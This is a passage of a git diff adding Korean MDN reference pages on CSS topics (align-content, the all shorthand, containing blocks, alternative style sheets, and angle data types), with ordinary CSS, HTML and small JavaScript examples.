+ &lt;option value="unsafe end"&gt;unsafe end&lt;/option&gt;
+ &lt;option value="safe flex-end"&gt;safe flex-end&lt;/option&gt;
+ &lt;option value="unsafe flex-end"&gt;unsafe flex-end&lt;/option&gt;
+ &lt;/select&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">var values = document.getElementById('values');
+var display = document.getElementById('display');
+var container = document.getElementById('container');
+
+values.addEventListener('change', function (evt) {
+ container.style.alignContent = evt.target.value;
+});
+
+display.addEventListener('change', function (evt) {
+ container.className = evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", 260, 290)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Box Alignment", "#propdef-align-content", "align-content")}}</td>
+ <td>{{Spec2("CSS3 Box Alignment")}}</td>
+ <td>Adds the [ first | last ]? baseline, start, end, left, right, unsafe | safe values.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Flexbox", "#align-content", "align-content")}}</td>
+ <td>{{Spec2("CSS3 Flexbox")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<h3 id="플렉스_레이아웃_지원">플렉스 레이아웃 지원</h3>
+
+<p>{{Compat("css.properties.align-content.flex_context")}}</p>
+
+<h3 id="그리드_레이아웃_지원">그리드 레이아웃 지원</h3>
+
+<p>{{Compat("css.properties.align-content.grid_context")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
+ <li>CSS Grid Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in CSS Grid layouts</a></em></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment">CSS Box Alignment</a></li>
+</ul>
+
+<div>{{CSSRef}}</div>
diff --git a/files/ko/web/css/all/index.html b/files/ko/web/css/all/index.html
new file mode 100644
index 0000000000..baa5d4e4f0
--- /dev/null
+++ b/files/ko/web/css/all/index.html
@@ -0,0 +1,171 @@
+---
+title: all
+slug: Web/CSS/all
+tags:
+ - CSS
+ - CSS Cascade
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/all
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <code><strong>all</strong></code> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 {{cssxref("unicode-bidi")}}, {{cssxref("direction")}}, <a href="/ko/docs/Web/CSS/Using_CSS_custom_properties">CSS 사용자 지정 속성</a>을 제외한 모든 속성을 초기화합니다.</span> 초깃값, 상속값, 아니면 다른 스타일시트 출처의 값으로 설정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/all.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 전역 값 */
+all: initial;
+all: inherit;
+all: unset;
+
+/* CSS Cascading and Inheritance Level 4 */
+all: revert;
+</pre>
+
+<p><code>all</code> 속성은 CSS 전역 키워드 값 중 하나를 사용해 지정합니다. 그러나 어느것도 {{cssxref("unicode-bidi")}}와 {{cssxref("direction")}} 속성에는 영향을 주지 않는 점을 주의하세요.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("initial")}}</dt>
+ <dd>요소의 모든 속성을 <a href="/ko/docs/Web/CSS/initial_value">초깃값</a>으로 변경합니다.</dd>
+ <dt>{{cssxref("inherit")}}</dt>
+ <dd>요소의 모든 속성을 <a href="/ko/docs/Web/CSS/inheritance">상속값</a>으로 변경합니다.</dd>
+ <dt>{{cssxref("unset")}}</dt>
+ <dd>요소의 모든 속성을, 속성이 값을 상속하는 경우 상속값으로, 아니면 초깃값으로 변경합니다.</dd>
+ <dt>{{cssxref("revert")}}</dt>
+ <dd>선언이 속한 스타일시트의 출처에 따라 다른 동작을 합니다.
+ <dl>
+ <dt><a href="/ko/docs/Web/CSS/Cascade#User-agent_stylesheets">사용자 에이전트 출처</a></dt>
+ <dd><code>unset</code>과 동일합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Cascade#User_stylesheets">사용자 출처</a></dt>
+ <dd><a href="/ko/docs/Web/CSS/Cascade">종속</a>을 사용자 에이전트 단계까지 되돌려서, <a href="/ko/docs/Web/CSS/specified_value">지정값</a>이 마치 저작자와 사용자 단계의 규칙이 없었던 것처럼 계산되도록 합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Cascade#Author_stylesheets">저작자 출처</a></dt>
+ <dd><a href="/ko/docs/Web/CSS/Cascade">종속</a>을 사용자 에이전트 단계까지 되돌려서, <a href="/ko/docs/Web/CSS/specified_value">지정값</a>이 마치 저작자 단계의 규칙이 없었던 것처럼 계산되도록 합니다. <code>revert</code>만 고려했을 때, 저작자 출처는 재정의(Override) 및 애니메이션(Animation) 출처를 포함합니다.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;blockquote id="quote"&gt;
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+&lt;/blockquote&gt;
+Phasellus eget velit sagittis.</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">body {
+ font-size: small;
+ background-color: #F0F0F0;
+ color: blue;
+}
+
+blockquote {
+ background-color: skyblue;
+ color: red;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<div id="ex0" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="all_속성_없음"><code>all</code> 속성 없음</h4>
+
+<pre class="brush: html hidden notranslate">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden notranslate">body { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue; color: red; }</pre>
+{{EmbedLiveSample("ex0", "200", "125")}}
+
+<p>The {{HTMLElement("blockquote")}}가 브라우저 기본 스타일과 함께, 지정한 배경 및 텍스트 색상을 사용합니다. 또한 블록 요소로 동작하여 뒤의 텍스트가 아래에 위치합니다.</p>
+</div>
+
+<div id="ex1" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allunset"><code>all:unset</code></h4>
+
+<pre class="brush: html hidden notranslate">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden notranslate">body { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue; color: red; }
+blockquote { all: unset; }</pre>
+{{EmbedLiveSample("ex1", "200", "125")}}
+
+<p>{{HTMLElement("blockquote")}}가 브라우저 기본 스타일을 사용하지 않습니다. 이제 인라인 요소(초깃값)이며, {{cssxref("background-color")}}가 <code>transparent</code>(초깃값)입니다. 그러나 {{cssxref("font-size")}}는 여전히 <code>small</code>(상속값)이고 {{cssxref("color")}}도 <code>blue</code>(상속값)입니다.</p>
+</div>
+
+<div id="ex2" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allinitial"><code>all:initial</code></h4>
+
+<pre class="brush: html hidden notranslate">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden notranslate">body { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue; color: red; }
+blockquote { all: initial; }</pre>
+{{EmbedLiveSample("ex2", "200", "125")}}
+
+<p>{{HTMLElement("blockquote")}}가 브라우저 기본 스타일을 사용하지 않습니다. 이제 인라인 요소(초깃값)이며, {{cssxref("background-color")}}가 <code>transparent</code>(초깃값)이고, {{cssxref("font-size")}}는 <code>normal</code>(초깃값), {{cssxref("color")}}는 <code>black</code>(초깃값)입니다.</p>
+</div>
+
+<div id="ex3" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allinherit"><code>all:inherit</code></h4>
+
+<pre class="brush: html hidden notranslate">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden notranslate">body { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue; color: red; }
+blockquote { all: inherit; }</pre>
+{{EmbedLiveSample("ex3", "200", "125")}}
+
+<p>{{HTMLElement("blockquote")}}가 브라우저 기본 스타일을 사용하지 않습니다. 블록 요소(부모 {{HTMLElement("body")}}에서 상속)이고, {{cssxref("background-color")}}은 <code>#F0F0F0</code>(상속값), {{cssxref("font-size")}}는 <code>small</code>(상속값), {{cssxref("color")}}는 <code>blue</code>(상속값)입니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS4 Cascade', '#all-shorthand', 'all') }}</td>
+ <td>{{ Spec2('CSS4 Cascade') }}</td>
+ <td>Added the <code>revert</code> value.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Cascade', '#all-shorthand', 'all') }}</td>
+ <td>{{ Spec2('CSS3 Cascade') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.all")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<p>CSS 전역 키워드 값: {{cssxref("initial")}}, {{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}}</p>
diff --git a/files/ko/web/css/all_about_the_containing_block/index.html b/files/ko/web/css/all_about_the_containing_block/index.html
new file mode 100644
index 0000000000..35c6bf56cb
--- /dev/null
+++ b/files/ko/web/css/all_about_the_containing_block/index.html
@@ -0,0 +1,263 @@
+---
+title: 컨테이닝 블록의 모든 것
+slug: Web/CSS/All_About_The_Containing_Block
+tags:
+ - CSS
+ - Guide
+ - Layout
+ - Position
+translation_of: Web/CSS/Containing_block
+---
+<div>{{cssref}}</div>
+
+<p>요소의 크기와 위치는 <strong>컨테이닝 블록</strong>(containing block)의 영향을 받곤 합니다. 대부분의 경우, 어떤 요소의 컨테이닝 블록은 가장 가까운 <a href="/ko/docs/Web/HTML/Block-level_elements">블록 레벨</a> 조상의 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">콘텐츠 영역</a>이나, 항상 그런 것은 아닙니다. <span class="seoSummary">이 글에서는 요소의 컨테이닝 블록을 결정하는 요인을 살펴보겠습니다.</span></p>
+
+<p>사용자 에이전트(브라우저 등)는 문서를 그릴 때 모든 요소에 대해 상자(박스)를 생성합니다. 각각의 상자는 아래의 네 가지 영역으로 나눠집니다.</p>
+
+<ol start="1">
+ <li>콘텐츠 영역</li>
+ <li>안쪽 여백(패딩) 영역</li>
+ <li>테두리 영역</li>
+ <li>바깥 여백(마진) 영역</li>
+</ol>
+
+<p><img alt="Diagram of the box model" src="https://mdn.mozillademos.org/files/16558/box-model.png" style="height: 300px; width: 544px;"></p>
+
+<p>많은 개발자들은 요소의 컨테이닝 블록이 언제나 부모 요소의 콘텐츠 영역이라고 생각하지만, 사실 꼭 그렇지는 않습니다. 어떤 항목이 컨테이닝 블록을 결정짓나 알아보겠습니다.</p>
+
+<h2 id="컨테이닝_블록의_효과">컨테이닝 블록의 효과</h2>
+
+<p>컨테이닝 블록을 결정하는 요인에 뭐가 있는지 알아보기 전에, 애초에 컨테이닝 블록이 무슨 상관인지 알아두는게 유용하겠습니다.</p>
+
+<p>요소의 크기와 위치는 컨테이닝 블록의 영향을 자주 받습니다. 백분율 값을 사용한 {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} 속성의 값과 절대적 위치(<code>absolute</code>나 <code>fixed</code> 등)로 설정된 요소의 오프셋 속성 값은 자신의 컨테이닝 블록으로부터 계산됩니다.</p>
+
+<h2 id="컨테이닝_블록_식별">컨테이닝 블록 식별</h2>
+
+<p>컨테이닝 블록의 식별 과정은 {{cssxref("position")}} 속성에 따라 완전히 달라집니다.</p>
+
+<ol>
+ <li><code>position</code><strong> </strong>속성이 <code><strong>static</strong></code>, <code><strong>relative</strong></code>, <strong><code>sticky</code></strong> 중 하나이면, 컨테이닝 블록은 가장 가까운 조상 <strong>블록 컨테이너</strong>(<code>inline-block</code>, <code>block</code>, <code>list-item</code> 등의 요소), 또는 가장 가까우면서 <strong>서식 맥락을 형성하는 조상 요소</strong>(<code>table</code>, <code>flex</code>, <code>grid</code>, 아니면 블록 컨테이너 자기 자신)의 콘텐츠 영역 경계를 따라 형성됩니다.</li>
+ <li><code>position</code><strong> </strong>속성이 <code><strong>absolute</strong></code>인 경우, 컨테이닝 블록은 <code>position</code> 속성 값이 <code>static</code>이 아닌(<code>fixed</code>, <code>absolute</code>, <code>relative</code>, <code>sticky</code>) 가장 가까운 조상의 내부 여백 영역입니다.</li>
+ <li><code>position</code><strong> </strong>속성이 <code><strong>fixed</strong></code>인 경우, 컨테이닝 블록은 {{glossary("viewport", "뷰포트")}}나 페이지 영역(페이지로 나뉘는 매체인 경우)입니다.</li>
+ <li><code>position</code><strong> </strong>속성이 <code><strong>absolute</strong></code>나 <code><strong>fixed</strong></code>인 경우, 다음 조건 중 하나를 만족하는 가장 가까운 조상의 내부 여백 영역이 컨테이닝 블록이 될 수도 있습니다.
+ <ol>
+ <li>{{cssxref("transform")}}이나 {{cssxref("perspective")}} 속성이 <code>none</code>이 아님.</li>
+ <li>{{cssxref("will-change")}} 속성이 <code>transform</code>이나 <code>perspective</code>임.</li>
+ <li>{{cssxref("filter")}} 속성이 <code>none</code>임. (Firefox에선 <code>will-change</code>가 <code>filter</code>일 때도 적용)</li>
+ <li>{{cssxref("contain")}} 속성이 <code>paint</code>임.</li>
+ </ol>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>참고:</strong> 루트 요소({{HTMLElement("html")}})의 컨테이닝 블록은 <strong>초기 컨테이닝 블록</strong>이라고 불리는 사각형입니다. 초기 컨테이닝 블록은 뷰포트 또는 (페이지로 나뉘는 매체에선) 페이지 영역의 크기와 같습니다.</p>
+</div>
+
+<h2 id="컨테이닝_블록으로부터_백분율_값_계산하기">컨테이닝 블록으로부터 백분율 값 계산하기</h2>
+
+<p>앞서 언급했듯, 특정 속성의 값이 백분율이라면 그 계산값은 요소의 컨테이닝 블록에 의해 결정됩니다. 이렇게 동작하는 속성으로 <strong>박스 모델 속성</strong>과 <strong>오프셋 속성</strong>이 있습니다.</p>
+
+<ol start="1">
+ <li>{{cssxref("height")}}, {{cssxref("top")}}, {{cssxref("bottom")}} 속성은 컨테이닝 블록의 <code>height</code>를 사용해 백분율을 계산합니다. 컨테이닝 블록의 <code>height</code>가 콘텐츠의 크기에 따라 달라질 수 있고, 컨테이닝 블록의 <code>position</code>이 <code>relative</code>거나 <code>static</code>이면 계산값은 <em>0</em>이 됩니다.</li>
+ <li>{{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}}, {{cssxref("margin")}} 속성은 컨테이닝 블록의 <code>width</code>를 사용해 백분율을 계산합니다.</li>
+</ol>
+
+<h2 id="예제">예제</h2>
+
+<p>모든 예제의 HTML코드는 다음과 같습니다.</p>
+
+<pre class="brush: html">&lt;body&gt;
+ &lt;section&gt;
+ &lt;p&gt;문단입니다!&lt;/p&gt;
+ &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+
+<p>이하 예제는 모두 CSS만 변경합니다.</p>
+
+<h3 id="예제_1">예제 1</h3>
+
+<p>다음 예제에서 문단은 정적 위치를 가지고, 가장 가까운 블록 컨테이너는 {{HTMLElement("section")}}이므로 문단의 컨테이닝 블록도 <code>&lt;section&gt;</code>입니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;body&gt;
+ &lt;section&gt;
+ &lt;p&gt;문단입니다!&lt;/p&gt;
+ &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css">body {
+ background: beige;
+}
+
+section {
+ display: block;
+ width: 400px;
+ height: 160px;
+ background: lightgray;
+}
+
+p {
+ width: 50%; /* == 400px * .5 = 200px */
+ height: 25%; /* == 160px * .25 = 40px */
+ margin: 5%; /* == 400px * .05 = 20px */
+ padding: 5%; /* == 400px * .05 = 20px */
+ background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제_1','100%','300')}}</p>
+
+<h3 id="예제_2">예제 2</h3>
+
+<p>다음 예제에서 <code>&lt;section&gt;</code>은 <code>display: inline</code>으로 인해 블록 컨테이너가 아니고, 서식 문맥도 형성하지 않으므로 문단의 컨테이닝 블록은 {{HTMLElement("body")}} 요소입니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;body&gt;
+ &lt;section&gt;
+ &lt;p&gt;문단입니다!&lt;/p&gt;
+ &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css">body {
+ background: beige;
+}
+
+section {
+ display: inline;
+ background: lightgray;
+}
+
+p {
+ width: 50%; /* == body 너비의 절반 */
+ height: 200px; /* 참고: 백분율 값이었으면 0 */
+ background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제_2','100%','300')}}</p>
+
+<h3 id="예제_3">예제 3</h3>
+
+<p>다음 예제에서는 <code>&lt;section&gt;</code>의 <code>position</code>이 <code>absolute</code>이기 때문에 문단의 컨테이닝 블록은 <code>&lt;section&gt;</code>입니다. 문단의 백분율 값은 컨테이닝 블록의 {{cssxref("padding")}} 값의 영향을 받겠지만, 컨테이닝 블록의 {{cssxref("box-sizing")}} 속성이 <code>border-box</code>였다면 그렇지 않을 것입니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;body&gt;
+ &lt;section&gt;
+ &lt;p&gt;문단입니다!&lt;/p&gt;
+ &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css">body {
+ background: beige;
+}
+
+section {
+ position: absolute;
+ left: 30px;
+ top: 30px;
+ width: 400px;
+ height: 160px;
+ padding: 30px 20px;
+ background: lightgray;
+}
+
+p {
+ position: absolute;
+ width: 50%; /* == (400px + 20px + 20px) * .5 = 220px */
+ height: 25%; /* == (160px + 30px + 30px) * .25 = 55px */
+ margin: 5%; /* == (400px + 20px + 20px) * .05 = 22px */
+ padding: 5%; /* == (400px + 20px + 20px) * .05 = 22px */
+ background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제_3','100%','300')}}</p>
+
+<h3 id="예제_4">예제 4</h3>
+
+<p>다음 예제에서는 문단의 <code>position</code>이 <code>fixed</code>이므로 컨테이닝 블록은 초기 컨테이닝 블록(화면 매체에서는 뷰포트)입니다. 따라서 문단의 크기는 브라우저 창의 크기에 따라 변합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;body&gt;
+ &lt;section&gt;
+ &lt;p&gt;문단입니다!&lt;/p&gt;
+ &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css">body {
+ background: beige;
+}
+
+section {
+ width: 400px;
+ height: 480px;
+ margin: 30px;
+ padding: 15px;
+ background: lightgray;
+}
+
+p {
+ position: fixed;
+ width: 50%; /* == (50vw - (세로 스크롤바 너비)) */
+ height: 50%; /* == (50vh - (가로 스크롤바 높이)) */
+ margin: 5%; /* == (5vw - (세로 스크롤바 너비)) */
+ padding: 5%; /* == (5vw - (세로 스크롤바 너비)) */
+ background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제_4','100%','300')}}</p>
+
+<h3 id="예제_5">예제 5</h3>
+
+<p>다음 예제에서는 문단의 <code>position</code>이 <code>absolute</code>이므로, 컨테이닝 블록은 {{cssxref("transform")}} 속성이 <code>none</code>이 아닌 가장 가까운 조상, <code>&lt;section&gt;</code>입니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;body&gt;
+ &lt;section&gt;
+ &lt;p&gt;문단입니다!&lt;/p&gt;
+ &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css">body {
+ background: beige;
+}
+
+section {
+ transform: rotate(0deg);
+ width: 400px;
+ height: 160px;
+ background: lightgray;
+}
+
+p {
+ position: absolute;
+ left: 80px;
+ top: 30px;
+ width: 50%; /* == 200px */
+ height: 25%; /* == 40px */
+ margin: 5%; /* == 20px */
+ padding: 5%; /* == 20px */
+ background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제_5','100%','300')}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{css_key_concepts}}</li>
+ <li>모든 CSS 선언을 주어진 상태로 되돌리는 {{cssxref("all")}} 속성</li>
+</ul>
diff --git a/files/ko/web/css/alternative_style_sheets/index.html b/files/ko/web/css/alternative_style_sheets/index.html
new file mode 100644
index 0000000000..918ce3dd36
--- /dev/null
+++ b/files/ko/web/css/alternative_style_sheets/index.html
@@ -0,0 +1,24 @@
+---
+title: Alternative style sheets
+slug: Web/CSS/Alternative_style_sheets
+translation_of: Web/CSS/Alternative_style_sheets
+---
+<p>Firefox는
+ <i>
+ 대체 스타일시트</i>
+ 를 지원합니다. 대체 스타일시트를 제공하는 페이지에서는 <b>보기&gt;페이지 스타일</b> 메뉴를 이용하여 페이지에 적용될 스타일을 선택할 수 있습니다. 따라서 사용자는 자신이 원하는 다양한 종류의 페이지를 볼 수 있게 됩니다.</p>
+<p>&lt;tt&gt;<a href="ko/HTML/Element/link">link</a>&lt;/tt&gt; 요소를 사용하여 웹 페이지에 대체 스타일시트를 제공할 수 있습니다.</p>
+<p>예제:</p>
+<pre class="eval"> &lt;link href="default.css" rel="stylesheet" type="text/css" title="Default Style"&gt;
+ &lt;link href="fancy.css" rel="alternate stylesheet" type="text/css" title="Fancy"&gt;
+ &lt;link href="basic.css" rel="alternate stylesheet" type="text/css" title="Basic"&gt;
+</pre>
+<p>위의 세 가지 스타일 시트를 제공하면, 페이지 스타일 메뉴에 "Default Style", "Fancy", "Basic" 스타일 목록이 출력됩니다. 사용자가 특정 스타일을 선택하면 페이지는 해당 스타일로 바로 다시 렌더링 됩니다.</p>
+<p><code><a href="ko/HTML/Element/link">link</a></code> 또는 <code><a href="ko/HTML/Element/style">style</a></code> 요소에 <code>title</code> 속성이 포함되어 있을 경우 해당 제목(title)은 사용자에게로 노출되어 사용자가 선택할 수 있게 됩니다. 동일한 제목을 가진 스타일시트가 여럿 존재할 경우 해당 스타일시트들은 모두 적용되며, <code>title</code> 속성이 없는 스타일시트는 항상 적용됩니다.</p>
+<p>기본 스타일시트에는 <code>rel="stylesheet"</code> 속성을 사용하고 대체 스타일시트에는 <code>rel="alternate stylesheet"</code>를 사용하세요. 이를 통해 Firefox는 어떤 스타일시트 제목을 처음 선택해야 할지 알 수 있으며, 대체 스타일시트를 지원하지 않는 브라우저에게 기본 스타일시트가 무엇인지를 알려줍니다.</p>
+<h3 id=".EC.8B.A4.EC.A0.9C_.EC.98.88.EC.A0.9C" name=".EC.8B.A4.EC.A0.9C_.EC.98.88.EC.A0.9C">실제 예제</h3>
+<p>실제로 동작하는 예제는 <a class="external" href="http://developer.mozilla.org/samples/cssref/altstyles/index.html">여기에서</a> 볼 수 있습니다.</p>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html401/present/styles.html#h-14.3">HTML 4.01: External style sheets</a></li>
+</ul>
diff --git a/files/ko/web/css/angle-percentage/index.html b/files/ko/web/css/angle-percentage/index.html
new file mode 100644
index 0000000000..a341698026
--- /dev/null
+++ b/files/ko/web/css/angle-percentage/index.html
@@ -0,0 +1,52 @@
+---
+title: <angle-percentage>
+slug: Web/CSS/angle-percentage
+tags:
+ - CSS
+ - CSS Data Type
+ - Data Type
+ - Reference
+ - 자료형
+translation_of: Web/CSS/angle-percentage
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS </a><strong><code>&lt;angle-percentage&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 {{cssxref("&lt;angle&gt;")}}과 {{cssxref("&lt;percentage&gt;")}} 모두 가능한 값을 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p>{{cssxref("&lt;angle&gt;")}}과 {{cssxref("&lt;percentage&gt;")}} 문서에서 각 자료형의 구문을 살펴보세요.</p>
+
+<h2 id="calc에서_사용하기"><code>calc()</code>에서 사용하기</h2>
+
+<p><code>&lt;angle-percentage&gt;</code>를 사용할 수 있는 곳이라면 백분율이 각도로 계산되므로, 이 자료형도<code> </code>{{cssxref("calc()")}}표현식에서 사용할 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Values', '#mixed-percentages', '&lt;angle-percentage&gt;')}}</td>
+ <td>{{Spec2('CSS4 Values')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Values', '#mixed-percentages', '&lt;angle-percentage&gt;')}}</td>
+ <td>{{Spec2('CSS3 Values')}}</td>
+ <td>Defines <code>&lt;angle-percentage&gt;</code>. Adds <code>calc()</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.angle-percentage")}}</p>
diff --git a/files/ko/web/css/angle/index.html b/files/ko/web/css/angle/index.html
new file mode 100644
index 0000000000..8125920a36
--- /dev/null
+++ b/files/ko/web/css/angle/index.html
@@ -0,0 +1,115 @@
+---
+title: <angle>
+slug: Web/CSS/angle
+tags:
+ - CSS
+ - CSS Data Type
+ - Data Type
+ - Layout
+ - Reference
+ - Web
+ - 자료형
+translation_of: Web/CSS/angle
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>&lt;angle&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 각도의 값을 도, 그레이드, 라디안 또는 회전수로 표현합니다.</span> {{cssxref("&lt;gradient&gt;")}}나 일부 {{cssxref("transform")}} 함수에서 사용합니다..</p>
+
+<div>{{EmbedInteractiveExample("pages/css/type-angle.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;angle&gt;</code> 자료형은 {{cssxref("&lt;number&gt;")}} 다음에 아래 나열한 단위 중 하나를 붙여 구성합니다. 다른 CSS 단위처럼 숫자와 단위 문자 사이에 공백은 존재하지 않습니다. 숫자 <code>0</code> 뒤에는 단위를 붙이지 않아도 됩니다.</p>
+
+<p>선택적으로 <code>+</code>, <code>-</code> 부호를 표시할 수 있습니다. 양의 부호는 시계방향 회전을, 음의 부호는 시계 반대방향 회전을 나타냅니다. 정적 속성에선 하나의 각도를 다른 각도로 표현할 수 있습니다. 예컨대 <code>90deg</code>는 <code>-270deg</code>, <code>1turn</code>은 <code>4turn</code>과 동일합니다. 그러나 동적 속성, 즉 {{cssxref("animation")}}이나 {{cssxref("transition")}}에서는 결과가 달라집니다.</p>
+
+<h3 id="단위">단위</h3>
+
+<dl>
+ <dt><code><a id="deg" name="deg">deg</a></code></dt>
+ <dd>각도를 <a href="https://ko.wikipedia.org/wiki/%EB%8F%84_(%EA%B0%81%EB%8F%84)">도 단위</a>로 나타냅니다. 1회전은 <code>360deg</code>입니다. 예: <code>0deg</code>, <code>90deg</code>, <code>14.23deg</code></dd>
+ <dt id="grad"><code><a id="grad" name="grad">grad</a></code></dt>
+ <dd>각도를 <a href="https://ko.wikipedia.org/wiki/%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C">그레이드</a>로 나타냅니다. 1회전은 <code>400grad</code>입니다. 예: <code>0grad</code>, <code>100grad</code>, <code>38.8grad</code></dd>
+ <dt id="rad"><code><a id="rad" name="rad">rad</a></code></dt>
